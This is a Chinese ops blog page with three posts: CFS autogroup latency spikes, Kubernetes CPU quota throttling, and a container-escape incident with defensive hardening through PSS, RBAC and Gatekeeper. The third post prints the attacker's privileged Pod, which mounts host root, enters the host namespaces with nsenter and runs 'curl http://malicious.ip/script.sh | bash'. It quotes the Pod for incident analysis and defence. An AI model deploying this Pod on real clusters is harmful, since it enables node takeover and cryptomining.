分类: 运维架构实战

  • 深入 CFS 调度陷阱排查:sched_autogroup_enabled 引发的线程池饥饿与 P99 延迟毛刺实战

    某次核心网关集群的性能抖动排查,生动诠释了什么叫“服务器瞎开桌面级优化,全链路跟着火葬场”。

    故障背景与最终结论: 一个承担 3 万 QPS 的 Go 编写的 API 网关服务(部署在 32C128G 的物理机上),在特定时间段 P99 延迟会毫无征兆地从 2ms 暴涨到 300ms 以上,甚至引发下游微服务的限流与重试风暴。诡异的是,监控面板上的 CPU 使用率仅在 60% 左右波动,系统 Load Average 也没有超过 CPU 核数,网络和磁盘 IO 更是平稳得像一条直线。 最终结论: 罪魁祸首是 Linux 内核的 sched_autogroup_enabled 特性(在部分发行版中默认开启)。一个定时执行的单线程本地日志打包脚本(tar -czf),触发了 CFS(完全公平调度器)的 Autogroup 逻辑,导致拥有数百个 Goroutine 线程的网关进程,与单线程的 tar 进程获得了同等权重的 CPU 时间片,进而引发网关线程池出现大面积的 CPU 调度饥饿(Runqueue Wait)。 一秒解决: sysctl -w kernel.sched_autogroup_enabled=0

    案发现场:被误导的排查方向

    刚接手这个问题时,业务侧和网络团队已经拉扯了几天。开发看监控觉得 CPU 没打满,坚称是宿主机网络丢包;网络侧拿 tcpdump 抓包证明是应用侧处理慢,ACK 回得迟。

    我切到线上机器,直接抓了一波抖动期间的现场。既然资源使用率没到瓶颈,但延迟飙升,第一反应必须是调度延迟(Scheduling Latency)。 直接掏出 perf 看看 CPU 在等什么:

    # 采样10秒的调度事件
    perf sched record -- sleep 10
    # 分析调度延迟
    perf sched latency --sort max
    

    结果一出来,极其刺眼:

     ---------------------------------------------------------------------------------------
      Task                  |   Runtime ms  | Switches | Average delay ms | Maximum delay ms |
     ---------------------------------------------------------------------------------------
      gateway-api:29314     |   1234.567 ms |    8432  |      18.453 ms   |     245.672 ms   |
      gateway-api:29315     |   1210.123 ms |    8110  |      19.123 ms   |     238.102 ms   |
      tar:4102              |    890.334 ms |     150  |       0.012 ms   |       0.105 ms   |
     ---------------------------------------------------------------------------------------
    

    网关进程(gateway-api)的线程,最大调度延迟(Maximum delay)竟然飙到了 245ms!这意味着一个就绪的线程在 Runqueue 里干等了四分之一秒才被分配到 CPU 执行。而那个跑在后台的 tar 进程,平均延迟只有 0.012ms,几乎是想什么时候跑就什么时候跑。

    为什么拥有几百个活跃线程的重负载核心进程,会被一个单线程的普通打包脚本“欺负”成这样?

    底层原理:当服务器内核操着桌面系统的心

    这就不得不提 Linux 内核历史上的一个著名补丁——2010 年内核开发者 Mike Galbraith 提交的针对桌面环境优化的补丁,即后来的 sched_autogroup_enabled 特性。

    在默认的 CFS(Completely Fair Scheduler)中,调度的基本单位是 Task(线程/进程)。如果没有 Autogroup,500 个网关线程和 1 个 tar 线程,总共 501 个 Task,CFS 会大致均分 CPU 时间,网关进程拿到 500/501 的算力,tar 拿到 1/501。这在服务器上非常合理。

    但开启 sched_autogroup_enabled=1 后,游戏规则变了。 为了提升桌面用户的交互体验(比如你在开着几十个线程编译内核的同时,依然能流畅地拖动浏览器窗口),内核会自动按 Session ID (SID) 或 TTY 将进程分组(Task Group)。CFS 会先在 Autogroup 之间公平分配 CPU 时间,然后再在组内的 Task 之间分配。

    你可以通过这个命令看看系统里的 Autogroup 状态:

    cat /proc/sched_debug | grep -A 5 "cfs_rq"
    

    在案发机器上,因为网关服务是通过 Systemd 启动的,属于一个 Session;而定时任务 Crontab 拉起的 tar 脚本属于另一个 Session。 于是,内核调度器做出了极其荒谬的“公平”裁决:

    • Group A(网关进程及 500 个线程):获得 50% CPU 时间份额。

    • Group B(tar 进程及 1 个线程):获得 50% CPU 时间份额。

    这也就是为什么在整体 CPU 使用率只有 60% 的情况下,tar 进程吃满了它能吃到的单核资源,而网关的 500 个线程却在一个缩水的 CPU 时间池里疯狂争抢排队,导致 vruntime(虚拟运行时间)失衡,Runqueue 等待时间剧增,宏观表现就是 P99 延迟呈现断崖式恶化。

    致命连环:为什么不可原谅?

    这是一个极其低级但隐蔽的运维坑。之所以说它不可原谅,是因为它违背了服务端架构的基础防线:

    1. 基础环境未做服务端标准化收敛:CentOS 7/8 和部分 Ubuntu 版本默认是开启这个参数的。把带有强烈桌面属性的调度策略原封不动搬到高并发服务器上,暴露出系统初始化压根没有经过内核层面的 Tuning 审核。

    2. 后台任务缺乏资源隔离(Cgroup):在宿主机上跑定时脚本,居然不套 nice,也不做 systemd-run 的 CPUQuota 限制。一个不受控的后台脚本能撼动核心网关的调度,这种“裸奔”操作在生产环境是灾难性的。

    破局与防御性配置

    弄清楚了原理,修复就是敲几下键盘的事,但更重要的是后续的防御性加固。

    1. 全局禁用 Autogroup 直接在 sysctl.conf 中封杀此特性,服务器不需要这种“桌面级关怀”:

    echo "kernel.sched_autogroup_enabled = 0" >> /etc/sysctl.d/99-sysctl.conf
    sysctl -p /etc/sysctl.d/99-sysctl.conf
    

    执行完毕后,网关的 P99 延迟瞬间回落到 2ms 的常态平滑线。

    2. 剥夺后台脚本的调度特权 所有非核心业务的运维脚本,严禁直接丢进 Crontab。必须通过 systemd timer 触发,并强制声明 CPU 和 IO 优先级:

    # /etc/systemd/system/log-backup.service
    [Service]
    Type=oneshot
    ExecStart=/opt/scripts/backup.sh
    # 限制只能使用单核的20%
    CPUQuota=20%
    # 降低调度优先级 (默认0,19为最低)
    Nice=19
    # 降低 IO 优先级
    IOSchedulingClass=idle
    

    3. 监控维度的升维 不要只盯着 node_cpu_seconds_total(CPU 使用率)。CPU 没打满不代表 CPU 资源不紧张。必须将调度队列长度纳入核心监控指标。 利用 eBPF 工具集(BCC)的 runqlen 或在 Prometheus 侧采集 /proc/stat 中的 procs_running 状态,一旦发现 Runqueue 长度持续大于物理核数,立即触发告警。

    同类问题速查清单 (Troubleshooting Checklist)

    1. 检查 Autogroup 开关状态:通过 sysctl kernel.sched_autogroup_enabled 确认是否开启,服务端强烈建议设为 0

    2. 审查进程所属组:通过 cat /proc//autogroup 查看目标进程是否被错误降权分配到非预期的分组中。

    3. 排查微观调度延迟:使用 perf sched latency 或 BCC 工具集 runqlat.py,定位是否存在 CPU 占用率低但就绪队列等待时间过长的现象。

    4. 清理僵尸 Crontab 与后台脚本:排查宿主机是否有定时触发的重 CPU/IO 操作(如 gzip, tar, find),强制要求套用 nice -n 19 或转入受限的 cgroup 运行。

    5. 核对 systemd cgroup 策略:确认是否开启了 DefaultCPUAccounting=yes 导致 systemd 按 service 粒度强行隔离了 CPU 份额,避免多线程重负载服务被意外限流。

  • 深入 CFS 调度器陷阱排查:cgroup quota 微突发引发的无辜节流与 P99 延迟雪崩实战

    在 K8s 容器环境中,CPU 使用率不到 20% 却频繁出现 P99 延迟毛刺,根本原因是 CFS 带宽控制(cfs_quota_us)在微突发场景下的过度节流(Throttling)。解决方案:要么升级内核至 5.14+ 开启 CPU Burst 特性,要么对核心时延敏感型服务启用 Kubelet static CPU Manager 策略以独占物理核并绕过 quota 限制,辅以 NUMA 节点绑定。

    排查过程中,我们遇到一个典型且极其隐蔽的性能陷阱:一个用 Go 编写的高并发 API 服务,Pod 配置为 requests: 4, limits: 4,Prometheus 监控显示其 CPU 利用率峰值从未超过 1.5 核。然而,业务端频繁报出超时,网关层统计的 P99 延迟从平稳的 20ms 间歇性飙升至 300ms 以上。

    没有 GC 停顿,网络抓包无丢包,存储 IO 处于极低水位。唯一的异常落在 cgroup 的 CPU 调度统计上。

    执行以下命令查看该 Pod 对应容器的底层调度指标:

    # 进入容器对应的 cgroup 目录 (路径依 Cgroup v1/v2 及容器运行时有所不同)
    cat /sys/fs/cgroup/cpu/kubepods.slice/kubepods-pod<uid>.slice/docker-<cid>.scope/cpu.stat
    

    输出令人吃惊:

    nr_periods 542100
    nr_throttled 184520
    throttled_time 4851230000000
    

    超过 34% 的调度周期(nr_throttled / nr_periods)发生了节流(Throttling),累计被限制运行的时间高达 4851 秒。容器被系统强制“按下了暂停键”。

    为什么 CPU 使用率极低也会触发 CFS 节流(Throttling)?

    要理解这个诡异现象,必须剖析 Linux 内核完全公平调度器(CFS)的带宽控制(Bandwidth Control)机制。

    在 Kubernetes 中,设置 CPU limits 本质上是在配置 cgroup 的 cpu.cfs_period_uscpu.cfs_quota_us。 默认情况下:

    • cpu.cfs_period_us = 100000(100 毫秒),即调度周期。

    • 对于 limits: 4cpu.cfs_quota_us = 400000(400 毫秒)。

    “微突发(Micro-burst)”导致的无辜节流: Go 程序的协程(Goroutine)极多。假设在某个 100ms 的调度周期初始,网关突然打来一波并发请求,Go runtime 唤醒了 16 个 OS 线程来处理。 这 16 个线程在多核宿主机上并行执行,虽然每个线程仅仅执行了 25ms,但总计消耗的 CPU 时间为 16 * 25ms = 400ms

    此时,距离当前 100ms 周期结束还有 100ms - 25ms = 75ms,但 400ms 的 quota 已经被瞬间耗尽。 CFS 调度器的直接反应是:强制剥夺该 cgroup 内所有线程的执行权,挂起等待下一个 100ms 周期。 这就导致了业务请求在这 75ms 内得不到任何 CPU 资源,直接反映为 P99 延迟无端增加 70~80ms,且多次叠加后引发雪崩。而在更高维度的 Prometheus 监控中(通常是 15s 或 1m 抓取一次),这种 100ms 级别内的剧烈波动被彻底抹平了,导致 CPU 使用率看起来极其“健康”。

    破局方案与底层调优实战

    为了彻底解决 CFS 调度导致的延迟毛刺,我们分层级实施了以下架构改造,拒绝简单的“无脑放大 limits”。

    1. 终极解法:内核 CPU Burst 特性 (Kernel >= 5.14)

    在较新的内核版本中(部分大厂针对 Kernel 4.19/5.4 已 backport 该特性),内核引入了 cpu.cfs_burst_us。它允许容器将历史周期内未用完的 quota 累积起来,应对突发流量。 通过向容器注入类似配置,允许最大爆发额度(比如额外允许 400ms):

    echo 400000 > /sys/fs/cgroup/cpu/kubepods.slice/.../cpu.cfs_burst_us
    

    这一机制类似于令牌桶算法,有效吸收了微突发流量。开启后,nr_throttled 归零,P99 延迟恢复平滑。

    2. K8S 侧解法:启用 CPU Manager 的 Static 策略

    如果内核版本较低(如 CentOS 7 的 3.10 或标准 Ubuntu 20.04 的 5.4),我们必须规避 CFS quota。手段是通过 Kubelet 的 CPU Manager 将容器进程与物理 CPU 进行绑核(cpuset),并移除 cgroup quota 限制。

    修改 kubelet 配置文件 /var/lib/kubelet/config.yaml

    cpuManagerPolicy: static
    topologyManagerPolicy: single-numa-node
    

    Pod 配置规范: 必须保证 QoS 为 Guaranteed,即 requests 必须等于 limits,且值为整数。

    resources:
      requests:
        cpu: "4"
        memory: "8Gi"
      limits:
        cpu: "4"
        memory: "8Gi"
    

    此时 Kubelet 会通过 cgroup 的 cpuset.cpus 分配 4 个独占的逻辑核(例如 4-7),由于是独占,底层不再依赖 cfs_quota_us 限制,从而彻底根除 Throttling。

    3. 极客进阶:防御中断风暴与 NUMA 错位

    仅仅使用 cpuset 绑核并不完美。即使应用独占了 CPU 4-7,依然可能被网卡中断(Hard IRQ)和软中断(Softirq)抢占。通过 perf schedmpstat 可以看到上下文切换(CS)依然很高。

    隔离内核调度(Isolcpus 配合 IRQ Affinity): 修改宿主机 Grub 内核启动参数,将部分 CPU 从内核默认调度域中剔除:

    GRUB_CMDLINE_LINUX="... isolcpus=4-7 nohz_full=4-7 rcu_nocbs=4-7"
    

    同时调整中断亲和性,避免网卡队列中断落到被隔离的核上:

    # 将中断限制在 0-3 核上处理
    for irq in $(ls /proc/irq/); do
        echo 0-3 > /proc/irq/$irq/smp_affinity_list 2>/dev/null
    done
    

    这就为高吞吐、低延迟的核心业务打造了一条纯粹的“物理超车道”。

    常见问题 (FAQ)

    Q1:K8s 中设置 requests == limits 会带来什么调度层面的影响? A:除了触发 Guaranteed QoS 避免 OOM 驱逐外,在 CPU 调度层面,如果不开启 Kubelet CPU Manager static 策略,它依然受制于 CFS Quota 限制。只有在 static 策略下,整核的 requests==limits 才会触发底层 cpuset 独占逻辑,从而完全绕开 CFS 周期结算,这对时延敏感型(Latency-sensitive)应用至关重要。

    Q2:绑核(Taskset/cpuset)后,为什么还会出现 CPU 缓存未命中(Cache Miss)飙升? A:通常是因为 NUMA 节点未对齐。如果分配的 CPU 核在 NUMA Node 0,但进程访问的内存被分配在 NUMA Node 1,跨 QPI/UPI 总线访问内存会导致严重的延迟。解决方案是在 Kubelet 开启 topologyManagerPolicy: single-numa-node,强制 CPU 和内存在同一 NUMA 节点内分配。

    Q3:内核参数 kernel.sched_min_granularity_ns 对高并发有什么直接作用? A:该参数定义了 CFS 调度中一个任务在被抢占前能够保证运行的最小时间片段(默认一般为 3ms-10ms)。在极其密集的上下文切换场景(如成千上万个轻量级连接),适当调大该值可以减少上下文切换带来的开销,提升系统总吞吐量(Throughput),但代价是牺牲了一定的调度响应时延(Latency)。调整时需通过 perf 工具严格评估收益。

    Q4:为什么在高并发数据库(如 MySQL/Redis)的宿主机上,极不推荐混部 RT(实时)调度策略的进程? A:RT 任务(如 SCHED_FIFO / SCHED_RR)优先级高于所有的 CFS 普通任务。如果一个存在死循环或长时间未主动 yield 的 RT 进程跑满单核,不仅会饿死同核上的 MySQL 工作线程,甚至可能导致内核态的软狗(Soft Lockup)超时引发内核 panic。控制 RT 任务的爆炸半径,必须严格配置 kernel.sched_rt_runtime_uskernel.sched_rt_period_us

  • 深入 K8S 容器逃逸排查:RBAC 越权与 hostPath 引发的节点沦陷及 PSS 与 Webhook 防御实战

    某次排查生产 K8S 1.28 集群 Worker 节点 CPU 异常打满时,发现黑客利用 CI/CD ServiceAccount 的过度 RBAC 权限,下发带有 privileged: truehostPath 的逃逸 Pod 植入挖矿程序。本文直接给出基于 Pod Security Standards (PSS) 的 Namespace 强制策略,以及结合 OPA Gatekeeper Admission Webhook 的防御代码,彻底阻断此类提权路径。

    案发现场:Load Average 飙升与逃逸路径还原

    监控系统告警某 Worker 节点 Load Average 飙升至 80+,通过 top 排查发现大量不明进程占用 CPU。进入节点后,查看 dmesgsyslog 发现异常的 chroot 操作。通过反查容器运行时(Containerd),定位到一个名为 ci-debug-xyz 的异常 Pod。

    导出该 Pod 的 YAML 定义,其核心逃逸 payload 如下:

    apiVersion: v1
    kind: Pod
    metadata:
      name: ci-debug-xyz
      namespace: cicd-build
    spec:
      containers:
      - name: payload
        image: alpine:3.18
        command: ["nsenter", "-t", "1", "-m", "-u", "-i", "-n", "sh", "-c", "curl http://malicious.ip/script.sh | bash"]
        securityContext:
          privileged: true # 致命配置1:开启特权模式
        volumeMounts:
        - mountPath: /host
          name: host-root
      volumes:
      - name: host-root
        hostPath:
          path: /        # 致命配置2:挂载宿主机根目录
    

    追查 K8S Audit Log 发现,创建该 Pod 的身份是 system:serviceaccount:cicd-build:jenkins-agent。检查其绑定的 RBAC 角色,发现存在典型的“过度授权”问题:

    apiVersion: rbac.authorization.k8s.io/v1
    kind: Role
    metadata:
      name: jenkins-build-role
      namespace: cicd-build
    rules:
    - apiGroups: [""]
      resources: ["pods", "pods/exec"]
      verbs: ["*"] # 允许在当前 NS 下对 Pod 进行任意操作
    

    黑客通过某次应用 RCE 漏洞拿到了 Jenkins Agent 的 Token,由于该 Token 拥有 podscreate 权限,直接下发了特权 Pod,挂载宿主机根目录并通过 nsenter 逃逸到宿主机执行恶意脚本。

    为什么原生的 RBAC 无法阻止容器逃逸?

    在 K8S 的安全模型中,RBAC 只解决“谁能操作什么 API 资源”的问题,但不解决“API 资源的内容是否合法”的问题

    当为 CI/CD 赋予了 resources: ["pods"], verbs: ["create"] 权限时,API Server 仅校验该 Token 是否有权调用 POST /api/v1/namespaces/cicd-build/pods 接口。至于提交的 Pod Spec 里是否包含了 hostNetwork: trueprivileged: true 或者挂载了宿主机的 /etc/shadow,RBAC 机制无能为力。

    在 K8S 1.25 之前,我们通常用 PodSecurityPolicy (PSP) 来拦截危险配置。但 PSP 由于设计复杂且易引发级联故障,在 1.25 被彻底移除,取而代之的是内置的 Pod Security Admission (PSA) 以及依赖外部引擎的 Admission Webhook(如 OPA Gatekeeper / Kyverno)。

    防御性加固实战:构建纵深防御体系

    为了彻底封死此类攻击面,必须在 API 请求的 Mutating 和 Validating 阶段进行严格拦截。

    1. 落地 Pod Security Standards (PSS)

    在 K8S 1.28 中,PSA 是默认开启的内置准入控制器。我们通过给 Namespace 打 Label 的方式,强制实施 PSS 的 restricted(限制)或 baseline(基线)标准。

    对于普通的业务或 CI/CD Namespace,直接实施 baseline 策略,并开启 restricted 的告警与审计:

    # 强制执行 baseline 策略,拒绝特权 Pod 和 hostPath
    kubectl label --overwrite ns cicd-build \
      pod-security.kubernetes.io/enforce=baseline \
      pod-security.kubernetes.io/enforce-version=latest
    
    # 对 restricted 策略进行审计和警告,暂不阻断,用于灰度观测
    kubectl label --overwrite ns cicd-build \
      pod-security.kubernetes.io/audit=restricted \
      pod-security.kubernetes.io/audit-version=latest \
      pod-security.kubernetes.io/warn=restricted \
      pod-security.kubernetes.io/warn-version=latest
    

    执行上述配置后,若再次尝试提交带有 privileged: true 的 Pod,API Server 会直接在 Validating 阶段拒绝并报错: Error from server (Forbidden): pods "ci-debug-xyz" is forbidden: violates PodSecurity "baseline": privileged (container "payload" must not set securityContext.privileged=true)

    2. RBAC 最小权限重构

    不要图省事给 verbs: ["*"]。CI/CD 的 ServiceAccount 如果只需要触发部署,应该只给 Deployment/StatefulSet 的 patchupdate 权限,绝不要给 podscreate 权限,更不要给 pods/exec

    # 修正后的 Role
    rules:
    - apiGroups: ["apps"]
      resources: ["deployments"]
      verbs: ["get", "patch", "update"] # 仅允许更新镜像版本
    

    3. OPA Gatekeeper:更细粒度的 Admission Webhook 拦截

    PSS 的 baselinerestricted 策略是打包好的黑盒,如果业务确实需要个别特殊权限(例如仅允许挂载 /var/log 目录但不允许挂载 /),PSS 无法做到细粒度放行。这时必须引入 OPA Gatekeeper 作为 Validating Webhook。

    部署 Gatekeeper 后,编写 Rego 策略显式禁用 hostPath 逃逸:

    ConstraintTemplate (定义校验逻辑):

    apiVersion: templates.gatekeeper.sh/v1
    kind: ConstraintTemplate
    metadata:
      name: k8sblockhostpath
    spec:
      crd:
        spec:
          names:
            kind: K8sBlockHostPath
      targets:
        - target: admission.k8s.gatekeeper.sh
          rego: |
            package k8sblockhostpath
    
            violation[{"msg": msg}] {
              volume := input.review.object.spec.volumes[_]
              has_key(volume, "hostPath")
              msg := sprintf("Strictly prohibited: Pod uses hostPath volume '%v'", [volume.name])
            }
    
            has_key(obj, k) {
              _ = obj[k]
            }
    

    Constraint (绑定到特定 Namespace):

    apiVersion: constraints.gatekeeper.sh/v1beta1
    kind: K8sBlockHostPath
    metadata:
      name: block-hostpath-cicd
    spec:
      match:
        kinds:
          - apiGroups: [""]
            kinds: ["Pod"]
        namespaces: ["cicd-build", "prod"]
    

    当黑客再次利用漏洞尝试提交包含 hostPath 的 Payload 时,请求会被 Gatekeeper 的 Webhook 拦截,并返回我们自定义的错误信息。

    常见问题

    Q1: PSS 开启 restricted 策略后,合法业务的 Pod 启动报错 must drop ALL capabilities,如何处理? A: restricted 级别要求极为严格,要求容器必须在 securityContext 中显式声明丢弃所有 Linux Capabilities。解决办法是修改业务的 Deployment YAML,在 containers.securityContext 中加入:

    securityContext:
      capabilities:
        drop:
          - ALL
    

    建议在推行 restricted 前,先开启 warnaudit 模式,通过日志观察两周,将业务 YAML 修改合规后再开启 enforce

    Q2: 集群已经开启了内置的 PSS 策略,还有必要部署 OPA Gatekeeper 或 Kyverno 吗? A: 非常有必要。PSS 只能处理 Pod 级别的安全规范(如限制特权、HostNetwork、Volume 类型等)。但真实生产环境中,你还需要拦截诸如 “禁止拉取非内网 Harbor 的镜像”、”必须包含特定 Label(如 cost-center)”、”禁止 Ingress 规则冲突” 等场景,这些超出 Pod Security 范畴的细粒度校验,只能通过外部 Admission Webhook 引擎实现。两者是互补关系。

    Q3: 旧集群(K8S 1.20)还在用 PSP,近期准备升级到 1.28,如何平滑迁移? A: PSP 与 PSS 的底层机制完全不同。平滑迁移步骤:

    1. 在 1.20 集群安装 kyvernogatekeeper,将旧的 PSP 规则翻译成 Webhook Policy。

    2. 将 Webhook Policy 设置为 audit 模式,对比 PSP 的阻断日志,确保规则一致。

    3. 升级 K8S 集群。升级到 1.25 时 PSP 会自动失效,此时将 Webhook Policy 切换为 enforce 模式接管防御。

    4. 在 1.28 中,逐步为 Namespace 打上 PSS 标签,用 K8S 原生能力替换掉部分基础的 Webhook Policy,降低 API Server 调用 Webhook 的延迟。